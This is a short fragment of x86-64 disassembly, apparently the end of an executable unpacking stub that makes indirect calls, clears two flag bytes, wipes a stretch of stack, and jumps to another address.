call rbp
lea rax, [rdi + 0x237]
and byte [rax], 0x7f
and byte [rax + 0x28], 0x7f
lea r9, [rsp + 0x20]
mov r8, qword [r9]
mov rdx, rbx
mov rcx, rdi
call rbp
add rsp, 0x28
pop rbp
pop rdi
pop rsi
pop rbx
lea rax, [rsp - 0x80]
push 0
cmp rsp, rax
jne 0x140016195
sub rsp, 0xffffffffffffff80
jmp 0x140008298